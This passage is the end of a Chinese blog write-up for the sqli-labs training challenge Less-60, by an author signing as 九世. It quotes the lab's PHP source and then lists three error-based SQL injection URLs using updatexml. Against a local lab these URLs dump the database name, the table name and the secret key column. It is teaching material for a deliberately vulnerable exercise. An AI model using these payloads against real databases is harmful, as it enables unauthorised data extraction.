            echo "Please input the ID as parameter with numeric value as done in  Lab excercises\n<br><br>\n</font>";
            echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
            echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
        }

    }


?>
</font> </div></br></br></br><center>
<img src="../images/Less-60.jpg" />
</center>
<br><br><br>
<div  style=" color:#00FFFF; font-size:18px; text-align:center">
<form name="input" action="" method="post">
Submit Secret Key: <input type="text" name="key">
<input type="submit" name = "answer_key" value="Submit">
</form> 
</div>


<?php

}

else
{
    echo '<div  style=" color:#00FFFF; font-size:18px; text-align:center">';
    $key = addslashes($_POST['key']);
    $key = mysql_real_escape_string($key);
    //echo $key;
    //Query table to verify your result
    $sql="SELECT 1 FROM $table WHERE $col1= '$key'";
    //echo "$sql";
    $result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());

    $row = mysql_fetch_array($result);

    if($row)
    {
        echo '<font color= "#FFFF00">';
        echo "\n<br><br><br>";
        echo '<img src="../images/Less-54-1.jpg" />';
        echo "</font>"; 
        header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );    
    }
    else 
    {
        echo '<font color= "#FFFF00">';
        echo "\n<br><br><br>";
        echo '<img src="../images/slap1.jpg" />';
        header( "refresh:3;url=index.php" );
        //print_r(mysql_error());
        echo "</font>";  
            }    


}

?>

</body>
</html>

滴滴滴,这作者又玩重复的招数
kypnjP.png

根据代码给出payload

http://127.0.0.1/sqli-labs-master/Less-60/?id=1%27%22)%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)%20--+
http://127.0.0.1/sqli-labs-master/Less-60/?id=1%27%22)%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%22challenges%22),0x7e),1)%20--+
http://127.0.0.1/sqli-labs-master/Less-60/?id=1%27%22)%20and%20updatexml(1,concat(0x7e,((select%20`3`%20from%20(select%201,2,3,4%20union%20select%20*%20from%20glepzxoblp)a%20limit%201,1)),0x7e),1)%20--+

转载请声明:转自422926799.github.io


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:sqli-labs-Less 55 -> 60

本文作者:九世

发布时间:2019-02-17, 12:30:04

最后更新:2019-04-19, 20:36:16

原始链接:http://jiushill.github.io/posts/517258dd.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录